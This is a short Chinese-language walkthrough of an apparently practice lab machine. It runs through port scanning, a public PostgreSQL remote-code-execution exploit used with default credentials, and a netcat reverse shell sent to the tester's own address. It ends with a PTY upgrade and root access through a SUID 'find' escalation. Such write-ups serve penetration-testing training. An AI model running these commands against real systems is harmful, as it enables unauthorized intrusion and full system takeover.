打靶機的起手式就是來看看有甚麼服務是開啟的
PS. 這邊所使用的列舉程式來自 https://github.com/21y4d/nmapAutomator ,這個腳本可以幫我們自動用不同的工具做資訊蒐集與掃描
sudo ~/Arsenal/nmapAutomator/nmapAutomator_mod.sh --host 192.168.189.47 -type script;sudo ~/Arsenal/nmapAutomator/nmapAutomator_mod.sh --host 192.168.189.47 -type full;sudo ~/Arsenal/nmapAutomator/nmapAutomator_mod.sh --host 192.168.189.47 -type udp;sudo ~/Arsenal/nmapAutomator/nmapAutomator_mod.sh --host 192.168.189.47 -type recon;
FFUF 的結果
Port 80 有一個網站服務,看看是甚麼 http://nibbles/
Port 5437 上面跑了一個 PostgreSQL DB 11.3-11.9
先 google 看看有沒有相關的 exploit code 吧
在 exploit DB上面找到一個可以 RCE 的 code (There is an exploit code https://www.exploit-db.com/exploits/50847),他的適用版本為 9.3-11.7,有涵蓋部分 nmap 判定的版本
不過這個 code 需要有效使用者,先用預設的看看吧
python3 50847.py -i $tIP -p 5437 -c id
id 指令看來有被順利執行
那接下來就是設定監聽,拿到 reverse shell 了
python3 50847.py -i $tIP -p 5437 -c "nc -nv 192.168.45.195 22 -e /bin/bash"
順利拿到 reverse shell 後就是升級成 PTY shell,方便我們做提權
記得拿 flag
python -c 'import pty; pty.spawn("/bin/bash")'
export TERM=linux; alias ll='clear;ls -alhst --color=auto'
上傳 Linpeas 後,在 SUID 的部分有看到 find 變成黃底
接著就是上 GTFObin 去找提權語法 https://gtfobins.github.io/gtfobins/find/#suid
順利拿到 root flag
打完收工~
/usr/bin/find . -exec /bin/sh -p \; -quit